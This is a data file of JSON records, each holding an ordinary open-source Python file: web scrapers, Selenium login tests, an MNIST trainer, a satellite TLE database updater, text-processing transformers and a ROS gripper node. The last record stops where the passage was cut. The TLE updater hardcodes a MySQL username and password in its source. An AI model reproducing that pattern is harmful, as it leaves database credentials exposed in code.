+{"text": "from splinter import Browser\nfrom bs4 import BeautifulSoup as bs\nimport time\nimport pandas as pd\n\ndef init_browser():\n # @NOTE: Replace the path with your actual path to the chromedriver\n executable_path = {\"executable_path\": \"/usr/local/bin/chromedriver\"}\n return Browser(\"chrome\", **executable_path, headless=False)\n\ndef mars_news():\n\tmars_data={}\n\tbrowser = init_browser()\n #1. NASA Mars News scrape\n\turl = 'https://mars.nasa.gov/news/'\n\tprint(\"Visiting news page\")\n\tbrowser.visit(url)\n\n\t# Scrape page into Soup\n\thtml = browser.html\n\tprint(\"Scraping data...\")\n\tsoup = bs(html, 'html.parser')\n\t# latest article title \n\tnews_title = soup.find('div', class_='content_title').find('a').text\n\tprint(\"Found title..\")\n\t# latest article paragraph \n\tnews_p = soup.find('div', class_='article_teaser_body').text\n\tmars_data['news_title'] = news_title\n\tmars_data['news_p'] = news_p\n\tprint(\"Quitting browser\")\n\tbrowser.quit()\n\treturn mars_data\n\n\t#2.scrape freatured image on nasa.gov\n\ndef featured_img():\n\tmars_data={}\n\timg_url = \"https://www.jpl.nasa.gov/spaceimages/?search=&category=Mars\"\n\tbrowser = init_browser() \n\tbrowser.visit(img_url)\n\n\thtml = browser.html\n\n\t# Scrape page into Soup\n\tsoup = bs(html, \"html.parser\")\n\n\t# Featured image on mars \n\t# Return results\n\tarticles=soup.find('div',class_=\"carousel_items\").find('article')\n\timgtag=articles['style']\n\n\tbase_path='https://www.jpl.nasa.gov/'\n\t#extract url from style\n\t#get image URL through a string split\n\trel_path=imgtag.split(\"('\", 1)[1].split(\"')\")[0]\n\tfeatured_image = base_path+ rel_path\n\tmars_data['featured_image'] = featured_image\n\tbrowser.quit()\n\treturn mars_data\n\n\t\n\t#3.scrape Mars weather\n\ndef mars_weather():\n\tmars_data={}\n\tbrowser = init_browser() \n\n\tweather_url = \"https://twitter.com/marswxreport?lang=en\"\n\tbrowser.visit(weather_url)\n\thtml = browser.html\n\tsoup = bs(html, \"html.parser\")\n\tweather_rel_path = soup.find(\"div\", class_= \"js-tweet-text-container\")\n\tmars_weather=weather_rel_path.find(class_=\"tweet-text\")\n\n\tmyweather=''\n\ti=0\n\tfor tag in mars_weather:\n\t\ti=i+1\n\t\tif i==1:\n\t\t\tmyweather=tag.string\n\t\t\tprint(myweather)\n\tmars_data['weather'] = myweather\n\tbrowser.quit()\n\treturn mars_data\n\n\n\n\t#4. scrape mars facts\n\ndef mars_facts():\n\tmars_data={}\n\tbrowser = init_browser()\n\t\n\t# scrape mars facts table\n\tmarsFacts_url = \"https://space-facts.com/mars/\"\n\tbrowser.visit(marsFacts_url)\n\thtml = browser.html\n\tsoup = bs(html, \"html.parser\")\n\n\t#Find Table and turn into data frame\n\tmarsFacts_table = soup.find(\"table\",class_=\"tablepress-id-mars\")\n\ttable_rows = marsFacts_table.find_all('tr')\n\n\tres = []\n\tfor tr in table_rows:\n\t td = tr.find_all('td')\n\t row = [tr.text.strip() for tr in td if tr.text.strip()]\n\t if row:\n\t res.append(row)\n\n\t#Initialize the pandas data frame\n\tdf = pd.DataFrame(res,columns=['Description','Measurement'])\n\t\n\n\tmars_data['facts'] = res\n\n\tbrowser.quit()\n\treturn mars_data\n\n\n\t# 5. scrape mars hemisphere\n\ndef get_link_image(browser,link):\n browser.visit(link)\n html=browser.html\n sp=bs(html,\"html.parser\")\n tags=sp.find(\"div\",class_=\"downloads\").find('ul').find('li').find('a')\n imglink=tags['href']\n if 'jpg' in imglink:\n return(imglink)\n else:\n return(None)\n\n\n\ndef mars_hemis():\n\tmars_data={}\n\tbrowser = init_browser()\n\n\tmarsurl='https://astrogeology.usgs.gov/search/results?q=hemisphere+enhanced&k1=target&v1=Mars'\n\tbrowser.visit(marsurl)\n\thtml=browser.html\n\n\t#Find all the items\n\tsoup = bs(html, \"html.parser\")\n\t#Find all links('a') on the page\n\titems= soup.find_all(\"a\",class_=\"itemLink product-item\")\n\n\tmarsroot='https://astrogeology.usgs.gov'\n\n\ti=0\n\themisphere_image_urls=[]\n\tfor tag in items:\n\t imageURL=marsroot+tag['href']\n\t title=tag.find('h3')\n\t if title is not None:\n\t i=i+1\n\t print(imageURL)\n\t name=title.string\n\t print(name)\n\t print(\"Title is \"+title.string)\n\t #Call the function to follow the links\n\t fullimglink=get_link_image(browser,imageURL)\n\t if fullimglink is not None:\n\t hemisphere_image_urls.append({\"title\" : name, 'img_url':fullimglink })\n\n\t print(\"----<>-----\")\n\n\t#Print result dictionary\n\tprint(hemisphere_image_urls)\n\n\tmars_data['hemisphere_image_urls'] = hemisphere_image_urls\n\n\tbrowser.quit()\n\treturn mars_data\n\ndef main_mars_scrape_info():\n \tnews_result=mars_news()\n \tprint(\"--Lookinf for Images\")\n \timage_result=featured_img()\n \tprint(\"--Looking for mars weather\")\n \tweather= mars_weather()\n \tprint('-- Looking for facts on mars')\n \tfacts = mars_facts()\n \tprint('--- Looking for Mars Hemis')\n \themisphere = mars_hemis()\n\n \tmarsdata={}\n \tmarsdata['news']=news_result\n \tmarsdata['featured_image']=image_result\n \tmarsdata['weather']=weather\n \tmarsdata['hemisphere']=hemisphere\n \tmarsdata['facts']=facts\n\n \treturn(marsdata)\n\n\n\n\n\n\n\n\n\n\n\n\t\n\n\n\n\n\n\t\n\n\n\n\n\n\n\n\n\n", "source": "rmishra1990/Hw-10-Web-Mongo-DB", "license": "MIT"}
+{"text": "import pytest\nimport numpy as np\nfrom faker import Faker\nfrom seleniumbase import BaseCase\n\nfrom qa327_test.conftest import base_url\nfrom unittest.mock import patch\nfrom qa327.models import db, User\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\n\"\"\"\nThis file defines all unit tests for the frontend login page.\n\"\"\"\n\nfake = Faker()\nemail = fake.email()\nname = fake.name()\n# Mock a sample user\ntest_user = User(\n email=email,\n name=name,\n password=generate_password_hash('test_Frontend!2')\n)\n\n# Moch some sample ticksets\ntest_tickets = [\n {'name': 't1', 'price': '100'}]\n\nclass FrontEndLoginFunctionTest(BaseCase):\n\n def test_show_login_not(self, *_):\n \"\"\"\n R1.1.1: Check if the default page before login is /login\n \"\"\"\n self.open(base_url) # open login page\n\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n self.assert_element(\"#login_title\") # Had to create a title for H1 in login\n self.assert_text(\"Log In\", \"#login_title\") # check if 'Log In' is visible\n\n def test_login_return_home(self, *_):\n \"\"\"\n R1.1.2: Check if the home page '/' is inaccessible when not logged in\n \"\"\"\n # Attempt to open home page (not logged in)\n self.open(base_url + '/')\n\n # Check if returned to /login page\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n self.assert_element(\"#login_title\") # Had to create a title for H1 in login\n self.assert_text(\"Log In\", \"#login_title\") # check if 'Log In' is visible\n\n def test_login_default_message(self, *_):\n \"\"\"\n R1.2.1: Check if the startup page /login contains the message 'please login' on initial open\n \"\"\"\n\n self.open(base_url + '/login') # open login page\n\n self.assert_element(\"#message\") # check for default 'Please login' message\n self.assert_text(\"Please login\", \"#message\")\n\n @patch('qa327.backend.get_user', return_value=test_user)\n @patch('qa327.backend.get_all_tickets', return_value=test_tickets)\n @patch('qa327.backend.login_user', return_value=test_user)\n def test_login_redirect_pass(self, *_):\n \"\"\"\n R1.3.1: If the user is logged in redirect to / 'home' page\n R1.5.1: The login form is submitted and requests / 'home' page\n R1.8.1: Check if a correct password returns a True/Pass value when login is requested\n R1.10.1: If email and password are correct and a login request is made, redirect to / 'home'\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # fill in login information (correctly)\n self.type(\"#email\", email)\n self.type(\"#password\", \"test_Frontend!2\")\n # click enter button\n self.click('input[type=\"submit\"]')\n\n # Check if / page is opened for logged in user\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/\")\n\n self.open(base_url + '/login') # attempt to go back to /login without signing out\n\n # Check if / page is opened for logged in user\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/\")\n\n def test_login_redirect_fail(self, *_):\n \"\"\"\n R1.3.2: When the login post fails test that the webpage does not perform a redirects to / 'home'\n R1.5.2: When a login post fails a redirection to /login is performed\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # fill in login information (improperly)\n self.type(\"#email\", email)\n self.type(\"#password\", \"wrong_password\")\n # click enter button\n self.click('input[type=\"submit\"]')\n\n # check if redirection to /login occurs when failed login post occurs\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n\n def test_login_fields(self, *_):\n \"\"\"\n R1.4.1: Check if the login page includes the minimum fields of email and password\n \"\"\"\n\n self.open(base_url + '/login') # go to login page\n\n # check if email and password fields exist\n self.assert_element(\"#email\")\n self.assert_element(\"#password\")\n\n def test_login_empty_fields(self, *_):\n \"\"\"\n R1.6.1: Check if login does not succeed when the fields are empty\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # Attempt login with empty fields\n self.type(\"#email\", \"\")\n self.type(\"#password\", \"\")\n\n # Submit login attempt with empty fields\n self.click('input[type=\"submit\"]')\n\n # Check if login does not work\n self.assert_element(\"#message\") # check for default 'Please login' message\n self.assert_text(\"Please login\", \"#message\")\n\n # Check if we are still on the /login page\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n\n def test_login_email_RFC5322(self, *_):\n \"\"\"\n R1.7.1: Email inputs are checked against RFC 5322 Regex\n R1.7.2: Email inputs checked against RFC 5322 Standard throw error_messages when not met\n \"\"\"\n\n # List of first characters that could cause failure of RFC 5322\n false_char = ['.','@',' ','..']\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # Attempt login with bad email\n self.type(\"#email\", str(np.random.choice(false_char))+email)\n self.type(\"#password\", \"test_Frontend!2\")\n\n # Submit login attempt with porr email field\n self.click('input[type=\"submit\"]')\n\n # Check if we are still on the /login page\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n\n self.assert_element(\"#message\") # check for error_message for bad email\n self.assert_text(\"email/password format is incorrect.\")\n\n\n def test_login_password_fail(self, *_):\n \"\"\"\n R1.8.2: Test if 'bad' password that do not meet the password criteria throw a login error\n \"\"\"\n # R1.8.2\n self.open(base_url + '/login') # go to login page for initial log in\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"Sh0r!\") # attempt password that is too short\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"N0LOWER&\") # attempt password with no lower case\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"n0upper!\") # attempt password with no upper case\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n self.type(\"#email\", email)\n self.type(\"#password\", \"n0Special\") # attempt password with no special characters\n self.click('input[type=\"submit\"]')\n\n self.assert_element(\"#message\") # check for error_message for bad password\n self.assert_text(\"email/password format is incorrect.\")\n\n def test_login_formating_errors(self, *_):\n \"\"\"\n R1.9.1: Check if the /login page is rendered for any formatting errors and message is displayed\n R1.9.2: Check if pop-up message reads \"email/password\" os shown on /login after error_message is thrown\n R1.11.1: If email or password are incorrect redirect to /login\n R1.11.2: Check if pop-up message reads \"email/password\" os shown on /login after error_message is thrown\n \"\"\"\n\n self.open(base_url + '/login') # go to login page for initial log in\n\n # Bad email\n self.type(\"#email\", \"invalid_user@test.com\")\n self.type(\"#password\", \"test_Frontend!2\")\n self.click('input[type=\"submit\"]')\n # check if /login page is requested\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n # check if message is shown\n self.assert_element(\"#message\")\n self.assert_text(\"login failed\")\n\n # Bad password\n self.type(\"#email\", email)\n self.type(\"#password\", \"wrong_password\")\n self.click('input[type=\"submit\"]')\n # check if /login page is requested\n cur_url = self.get_current_url()\n self.assertEqual(cur_url, \"http://localhost:8081/login\")\n # check if message is shown\n self.assert_element(\"#message\")\n self.assert_text(\"email/password format is incorrect.\")\n\n", "source": "TankyFranky/CMPE-327-SOFT_QUAL_ASSU", "license": "MIT"}
+{"text": "\"\"\" Base class defining common code for EnamlTaskPane and EnamlEditor. \"\"\"\n\n# Enthought library imports.\nfrom traits.api import HasTraits, Instance\n\n\nclass EnamlPane(HasTraits):\n \"\"\" Base class defining common code for EnamlTaskPane and EnamlEditor. \"\"\"\n\n ###########################################################################\n # 'EnamlPane' interface\n ###########################################################################\n\n #: The Enaml component defining the contents of the TaskPane.\n component = Instance('enaml.widgets.toolkit_object.ToolkitObject')\n\n def create_component(self):\n \"\"\" Return an Enaml component defining the contents of the pane.\n\n Returns\n -------\n component : ToolkitObject\n \"\"\"\n raise NotImplementedError\n\n ###########################################################################\n # 'TaskPane'/'Editor' interface\n ###########################################################################\n\n def create(self, parent):\n \"\"\" Create the toolkit-specific control that represents the editor. \"\"\"\n\n from enaml.widgets.constraints_widget import ProxyConstraintsWidget\n\n self.component = self.create_component()\n\n # We start with an invisible component to avoid flicker. We restore the\n # initial state after the Qt control is parented.\n visible = self.component.visible\n self.component.visible = False\n\n # Initialize the proxy.\n self.component.initialize()\n\n # Activate the proxy.\n if not self.component.proxy_is_active:\n self.component.activate_proxy()\n\n # Fish the Qt control out of the proxy. That's our TaskPane content.\n self.control = self.component.proxy.widget\n\n # Set the parent\n if parent is not None:\n self.control.setParent(parent)\n\n # Restore the visibility state\n self.component.visible = visible\n if isinstance(self.component, ProxyConstraintsWidget):\n self.component.proxy.request_relayout()\n\n def destroy(self):\n \"\"\" Destroy the toolkit-specific control that represents the editor.\n \"\"\"\n\n control = self.control\n if control is not None:\n control.hide()\n self.component.destroy()\n control.deleteLater()\n\n self.control = None\n self.component = None\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "import pickle\n\nimport numpy as np\nfrom mnist import MNIST\n\nfrom neural_network import NeuralNetwork\n\ndef one_hot_encode(x, num_categories):\n\tencoding = np.zeros(num_categories)\n\tencoding[x] = 1.\n\n\treturn encoding\n\ndef one_hot_decode(x):\n\treturn x.argmax()\n\ndef get_data(train_test_split=0.9):\n\tmndata = MNIST('./MNIST')\n\tX, y = mndata.load_training()\n\n\t#converts images into flat array with brightness in [0, 1], instead of [0, 255]\n\tX = [np.array(i).reshape((-1,)) / 255 for i in X]\n\n\t#converts digit into one-hot encoding\n\ty = [one_hot_encode(i, 10) for i in y[:-1]]\n\n\ttrain_test_divide = int(len(X) * train_test_split)\n\tX_train, X_test = X[:train_test_divide], X[train_test_divide:]\n\ty_train, y_test = y[:train_test_divide], y[train_test_divide:]\n\n\treturn X_train, X_test, y_train, y_test\n\ndef get_prediction(net, inputs):\n\toutputs = net.forward_propagate(inputs)\n\n\treturn one_hot_decode(outputs)\n\ndef get_accuracy(net, X, y):\n\tcorrect = 0\n\n\tfor inputs, expected_outputs in zip(X, y):\n\t\tprediction = get_prediction(net, inputs)\n\t\tif prediction == one_hot_decode(expected_outputs):\n\t\t\tcorrect += 1\n\n\treturn correct / len(X)\n\nnp.random.seed(1)\n\nnet = NeuralNetwork((28 ** 2, 16, 16, 10))\n\nprint(\"Getting data...\")\n\nX_train, X_test, y_train, y_test = get_data()\n\nprint(\"Training...\")\n\nnet.fit(X_train, y_train, minibatch_size=10, num_epochs=50000, learning_rate=.5, reporting=100)\n\nprint(\"Saving neural network...\")\nwith open('network.ann', 'wb') as f:\n\tpickle.dump(net, f)\n\nprint(\"Finding accuracy...\")\n\ntraining_accuracy = get_accuracy(net, X_train, y_train)\ntesting_accuracy = get_accuracy(net, X_test, y_test)\n\nprint(\"Accuracy for training data: {}%\".format(training_accuracy * 100))\nprint(\"Accuracy for testing data: {}%\".format(testing_accuracy * 100))\n\n#92-93%\n#92-93%\n\n", "source": "Karan0110/digit-recognition", "license": "MIT"}
+{"text": "sys.path.append(os.path.join(os.path.dirname(__file__), '../..', 'news_pipeline'))\nimport news_monitor\n\ndef test():\n \n", "source": "XinliWang/NewsCrawler", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\nimport argparse\nimport datetime\nimport pickle\nimport socket\nimport sys\nimport os\nfrom os.path import normpath, join, expanduser, isdir\n\nimport golumn\nfrom golumn.App import GolumnApp, HOST, PORT\n\n\ndef create_parser():\n parser = argparse.ArgumentParser(\n prog='golumn',\n description='View data based on OPTIONS. Use \"-\" as FILE to read from stdin.',\n usage='%(prog)s [OPTIONS] FILE',\n )\n\n parser.add_argument(\n '-t', '--title',\n dest='title',\n metavar='TITLE',\n help='Window TITLE of result set')\n\n parser.add_argument(\n '--size',\n dest='size',\n metavar='SIZE',\n help='Set the SIZE on the window. WxH or W%xH%. Pixel or Percentages')\n\n parser.add_argument(\n '--version',\n action='version',\n version=golumn.__version__)\n\n parser.add_argument('filename', nargs='?')\n\n return parser\n\n\ndef golumn_home():\n home = expanduser(\"~\")\n return normpath(join(home, '.golumn'))\n\n\ndef history_dir():\n return normpath(join(golumn_home(), 'history'))\n\n\ndef setup():\n if not isdir(golumn_home()):\n os.mkdir(golumn_home())\n\n if not isdir(history_dir()):\n os.mkdir(history_dir())\n\n\ndef new_hist_file():\n return normpath(join(history_dir(),\n datetime.datetime.now().strftime('%Y-%m-%dT%H:%M:%S.csv')))\n\n\ndef send_server(args):\n \"\"\"\n Try to send args to an existing application.\n @return false if it can't cannect to one.\n \"\"\"\n try:\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.connect((HOST, PORT))\n\n package = {'args': args}\n s.sendall(pickle.dumps(package))\n s.close()\n return True\n except socket.error:\n return False\n\n\ndef main(args=None):\n parser = create_parser()\n args = parser.parse_args(args)\n\n setup()\n\n # when no file is passed in. Assume use is piping in the data.\n if args.filename is None:\n args.filename = new_hist_file()\n with open(args.filename, 'w+') as dst:\n dst.write(sys.stdin.read())\n\n if send_server(args):\n sys.exit(0)\n\n # we must be the first instance, start it up\n app = GolumnApp(useBestVisual=True)\n title = args.title or os.path.basename(args.filename or '-')\n app.OpenPath(title, args.filename, size=args.size, in_memory=False)\n app.MainLoop()\n return 0\n", "source": "ddrscott/golumn", "license": "MIT"}
+{"text": "import posixpath\nimport pkg_resources\n\n\ndef pkg_walk(package, top):\n \"\"\"\n Walk the package resources. Implementation from os.walk.\n \"\"\"\n\n names = pkg_resources.resource_listdir(package, top)\n\n dirs, nondirs = [], []\n\n for name in names:\n # Forward slashes with pkg_resources\n if pkg_resources.resource_isdir(package, posixpath.join(top, name)):\n dirs.append(name)\n else:\n nondirs.append(name)\n\n yield top, dirs, nondirs\n\n for name in dirs:\n new_path = posixpath.join(top, name)\n for out in pkg_walk(package, new_path):\n yield out\n", "source": "danielchasehooper/Cactus", "license": "BSD-3-Clause"}
+{"text": "# Gets satellite TLEs from https://celestrak.com/NORAD/elements/active.txt formats to fit in database\n# for TLEs to work with skyfield's format it must just be the two lines of information\nimport requests\nimport mysql.connector\n\n\nclass Update:\n # Checks if there are any new satellites - and adds them to the database\n # All Data will need to be updated frequently - every few hours - as TLEs go out of date quickly.\n # the table's sql is as follows:\n # CREATE table mydatabase.tles\n # (id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255), line1 VARCHAR(255), line2 VARCHAR(255));\n def __init__(self):\n self.auth = 'serverscripts'\n self.key = 'PassEnv123'\n self.dict = {} # dictionary to add satellites to\n self.url = \"https://celestrak.com/NORAD/elements/active.txt\" # list of all active satellites\n # connect to the database\n self.db = mysql.connector.connect(\n host=\"localhost\",\n user=self.auth,\n passwd=self.key,\n database=\"mydatabase\"\n )\n self.mycursor = self.db.cursor()\n\n # this function could be made to delete old TLEs instead, and could make this program constantly update the db.\n def deleteAllRows(self):\n # delete all rows from table 'tles'\n sql = \"DELETE FROM tles\"\n self.mycursor.execute(sql, )\n return True\n\n def add_record(self, satname, lineOne, lineTwo):\n # SQL for inserting TLEs into the database\n sql = \"INSERT INTO tles (name, line1, line2) VALUES (%s, %s, %s)\"\n # best practice for using SQL in python (prevents sql injection)\n val = satname, lineOne, lineTwo\n # execute the sql with the data inserted into the statement\n self.mycursor.execute(sql, val)\n\n self.db.commit()\n\n # print(val, \"\\nrecord inserted\")\n\n def get_list(self):\n # print(self.db)\n tle_dictionary = self.dict\n # request all info from given url\n response = requests.get(self.url)\n # split the response into lines whenever there is a newline\n data = response.text.strip().split(\"\\n\")\n\n # loop through each line in the response\n for i in range(len(data)):\n line = data[i]\n # if the first character in the line equals one then we know where we are on the first line of the TLE\n # data for each satellite comes in three lines: Satellite Name and its TLE split into two lines.\n if line[0] == \"1\": # if the line begins with a '1' assume it is line 1 of the TLE\n # add TLE to database\n sat_name = data[i - 1]\n lineOne = data[i] # save lines of the tle\n lineTwo = data[i + 1]\n print(\"inserting\", sat_name, lineOne, lineTwo)\n # add 1 record consisting of the tle and the sat's name\n self.add_record(sat_name, lineOne, lineTwo)\n # adding each tle to the tle dictionary\n tle_dictionary[sat_name] = lineOne + lineTwo\n # return the titles for the dictionary which are the names of the satellites, and the rest of the TLE\n # return tle_dictionary.keys(), tle_dictionary\n\n\nif __name__ == '__main__':\n enter = Update()\n deleted = enter.deleteAllRows()\n enter.get_list()\n", "source": "adamcvj/SatelliteTracker", "license": "Apache-2.0"}
+{"text": "from sklearn.base import BaseEstimator, TransformerMixin\nimport re\nfrom nltk.stem import SnowballStemmer\n\nclass TextCleaning(BaseEstimator, TransformerMixin):\n def __init__(self, regex):\n self.regex = regex\n\n def fit(self, X, y = None):\n return self\n\n def transform(self, X):\n X = X.copy()\n X[\"text\"] = X[\"text\"].apply(lambda x: re.sub(self.regex, \" \", x).strip())\n return X\n\nclass TextStemming(BaseEstimator, TransformerMixin):\n def __init__(self, skip=False):\n self.skip = skip\n\n def fit(self, X, y = None):\n return self\n\n def transform(self, X):\n def _stem(x):\n stemmer = SnowballStemmer('english')\n final_tokens = []\n for token in x.split():\n token = stemmer.stem(token)\n final_tokens.append(token)\n x_stemmed = \" \".join(final_tokens)\n return x_stemmed\n\n if self.skip:\n return X\n else:\n X = X.copy()\n X[\"text\"] = X[\"text\"].apply(_stem)\n return X\n\nclass TextStopWordRemoval(BaseEstimator, TransformerMixin):\n def __init__(self, skip=False, stop_words=[]):\n self.skip = skip\n self.stop_words = stop_words\n\n def fit(self, X, y = None):\n return self\n\n def transform(self, X):\n def _removeStopWords(x):\n final_tokens = []\n for token in x.split():\n if token.lower() in self.stop_words:\n continue\n final_tokens.append(token)\n x_sw_removed = \" \".join(final_tokens)\n return x_sw_removed\n\n if self.skip:\n return X\n else:\n X = X.copy()\n X[\"text\"] = X[\"text\"].apply(_removeStopWords)\n return X\n\n\ndef convert_labels(label):\n convert_dict = {4: 1, 0: 0}\n new_label = convert_dict[label]\n return new_label", "source": "ofbennett/sentiment-analysis-app", "license": "MIT"}
+{"text": "from .gen_keys import create_self_signed_cert\nfrom .server import ManInTheMiddle\nfrom .stream import EmulatedClient\n", "source": "zentooo/mitm", "license": "MIT"}
+{"text": "\"\"\"A week's worth of log lines.\"\"\"\n\nfrom functools import reduce\nfrom operator import add\nfrom typing import Union\n\nfrom src.day import Day, str_to_day\nfrom src.time import Time\n\n\nclass Week:\n\n def __init__(self, week_num: int, days: list[Union[str, Day]]):\n str_days = all(map(lambda d: isinstance(d, str), days))\n self.days = list(map(str_to_day, days)) if str_days else days\n self.week_num = week_num\n\n\n @property\n def total(self) -> Time:\n return reduce(add, map(lambda x: x.time, self.days))\n\n\n def __str__(self):\n header = f'- Week {self.week_num}:'\n days = list(map(str, self.days))\n footer = f'-- Total={self.total}'\n return '\\n'.join([header, *days, footer])\n\n\n def __eq__(self, other):\n return self.days == other.days\n", "source": "macuyler/clock", "license": "MIT"}
+{"text": "#!/usr/bin/env python\n\nimport rospy\nfrom sensor_msgs.msg import JointState\nfrom robotiq_s_model_control.msg import _SModel_robot_input as inputMsg\nfrom time import sleep\nfrom math import pi\n\n# normalizes values from an arbitrary range to another new arbitary range\ndef normalize(value, oldRangeMin, oldRangeMax, newRangeMin, newRangeMax):\n result = (value - oldRangeMin) * ((newRangeMax - newRangeMin) / (oldRangeMax - oldRangeMin)) + (newRangeMin)\n return result\n\n\n# calculates an approximation of a single joint state of the gripper, assuming that no collison during the grasp occured (-> no object is grasped / empty hand model)\ndef calculateAngle(finger, joint, fingerPosition, mode):\n angle = 0.0\n # finger offset for joint 0 (why is this needed???)\n finger_joint0_offset = 30.0\n finger_joint2_offset = -30.0\n\n if (joint==0):#alpha\n if (fingerPosition>140):\n angle = 35.0+finger_joint0_offset\n else: \n angle = normalize(fingerPosition, 0.0, 140.0, -25.0+finger_joint0_offset, 33+finger_joint0_offset)\n\n elif (joint==1):\n if (fingerPosition<140):\n angle = 0.0;\n elif(fingerPosition>240):\n angle = 90.0\n else:\n angle = normalize(fingerPosition, 140.0, 240.0, 0.0, 90.0)\n\n elif(joint==2):\n if (fingerPosition>115):\n angle = -20.0+finger_joint2_offset\n else:\n angle = normalize(fingerPosition, 0.0, 115.0, 35+finger_joint2_offset, -20+finger_joint2_offset)\n\n return (angle/180)*pi\n\n\n# calculates the joint state of the additional degree of freedom in 'scissor' direcection\ndef calulatePalmAngle(fingerPosition, mode):\n outside = -15.0\n inside = 10.0\n angle = 0.0\n\n if (mode==0): #basic\n angle = normalize(fingerPosition, 15.0, 232.0, outside, inside)\n elif (mode==1): #pinch\n angle = normalize(fingerPosition, 0.0, 219.0, outside, inside)\n elif (mode==2): #wide\n angle = normalize(fingerPosition, 6.0, 232.0, outside, inside)\n elif (mode==3): #scissor\n angle = normalize(fingerPosition, 15.0, 232.0, outside, inside)\n\n return (angle/180)*pi\n\n\n# updates the global joint state message object\ndef updateLocalJointState(inputRegisterMessage):\n for finger in range(0, 3): \n position = inputRegisterMessage.gPOC\n if (finger==1):\n position = inputRegisterMessage.gPOB\n elif(finger==2):\n position = inputRegisterMessage.gPOA\n for joint in range(0, 3): \n currentJointState.position[finger*3+joint] = calculateAngle(finger, joint, position, inputRegisterMessage.gMOD)\n\n currentJointState.position[9] = -calulatePalmAngle(inputRegisterMessage.gPOS, inputRegisterMessage.gMOD)\n currentJointState.position[10] = -currentJointState.position[9]\n \n\n# calculates, generates and publishes the joint states of the gripper from low-level register state messages of the /SModelRobotInput topic\ndef generateJointStatesFromRegisterStateAndPublish():\n rospy.Subscriber(\"SModelRobotInput\", inputMsg.SModel_robot_input, updateLocalJointState)\n\n global currentJointState \n currentJointState = JointState()\n currentJointState.header.frame_id = \"robotiq_s_model from real-time state data\"\n currentJointState.name = [\"finger_1_joint_1\", \n \"finger_1_joint_2\", \n \"finger_1_joint_3\", \n \"finger_2_joint_1\", \n \"finger_2_joint_2\", \n \"finger_2_joint_3\", \n \"finger_middle_joint_1\", \n \"finger_middle_joint_2\", \n \"finger_middle_joint_3\", \n \"palm_finger_1_joint\", \n \"palm_finger_2_joint\"]\n\n currentJointState.position = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n currentJointState.velocity = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n currentJointState.effort = [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0]\n\n pub = rospy.Publisher('joint_states', JointState, queue_size=1) #no buffering?\n rospy.init_node('robotiq_s_model_joint_state_publisher', anonymous=False)\n rate = rospy.Rate(100) # publishes at 100Hz\n\n while not rospy.is_shutdown():\n currentJointState.header.stamp = rospy.Time.now()\n pub.publish(currentJointState)\n rate.sleep()\n\n # spin() simply keeps python from exiting until this node is stopped\n rospy.spin()\n\n\nif __name__ == '__main__':\n try:\n generateJointStatesFromRegisterStateAndPublish()\n except rospy.ROSInterruptException:\n pass\n", "source": "TAMS-Group/robotiq_s_model_joint_state_publisher", "license": "BSD-3-Clause"}
+{"text": "import re\n\n\ndef getValue(coeff):\n if coeff == '-':\n return -1\n if coeff == '' or coeff == '+':\n return 1\n return int(coeff)\n\n\ndef extractCoeff(leftPart, desiredVariable, otherVariableNames):\n variablePart = leftPart.split(desiredVariable)[0].strip()\n if desiredVariable not in leftPart:\n coeff = 0\n elif otherVariableNames[0] in variablePart or otherVariableNames[1] in variablePart:\n coeff = re.split(\"[{firstVariable}{secondVariable}]\".format(\n firstVariable=otherVariableNames[0], secondVariable=otherVariableNames[1]), variablePart)[-1].replace(' ', '')\n coeff = getValue(coeff)\n else:\n coeff = getValue(variablePart)\n return coeff\n\n\ndef parseFile(filename):\n with open(filename, \"r\") as f:\n content = f.read()\n matrix = []\n results = []\n for equation in content.split('\\n'):\n coeffs = []\n eqParts = equation.split(\"=\")\n leftPart = eqParts[0]\n result = int(eqParts[1])\n results.append(result)\n coeffs.append(extractCoeff(leftPart, 'x', 'yz'))\n coeffs.append(extractCoeff(leftPart, 'y', 'xz'))\n coeffs.append(extractCoeff(leftPart, 'z', 'xy'))\n matrix.append(coeffs)\n return [matrix, results]\n\n\ndef getDeterminant(matrix):\n if len(matrix) == 2:\n return matrix[0][0] * matrix[1][1] - matrix[0][1] * matrix[1][0]\n else:\n return matrix[0][0] * matrix[1][1] * matrix[2][2] + matrix[1][0] * matrix[2][1] * matrix[0][2] + matrix[0][1] * matrix[1][2] * matrix[2][0] - (matrix[0][2] * matrix[1][1] * matrix[2][0] + matrix[0][0] * matrix[1][2] * matrix[2][1] + matrix[2][2] * matrix[0][1] * matrix[1][0])\n\n\ndef getTranspose(matrix):\n 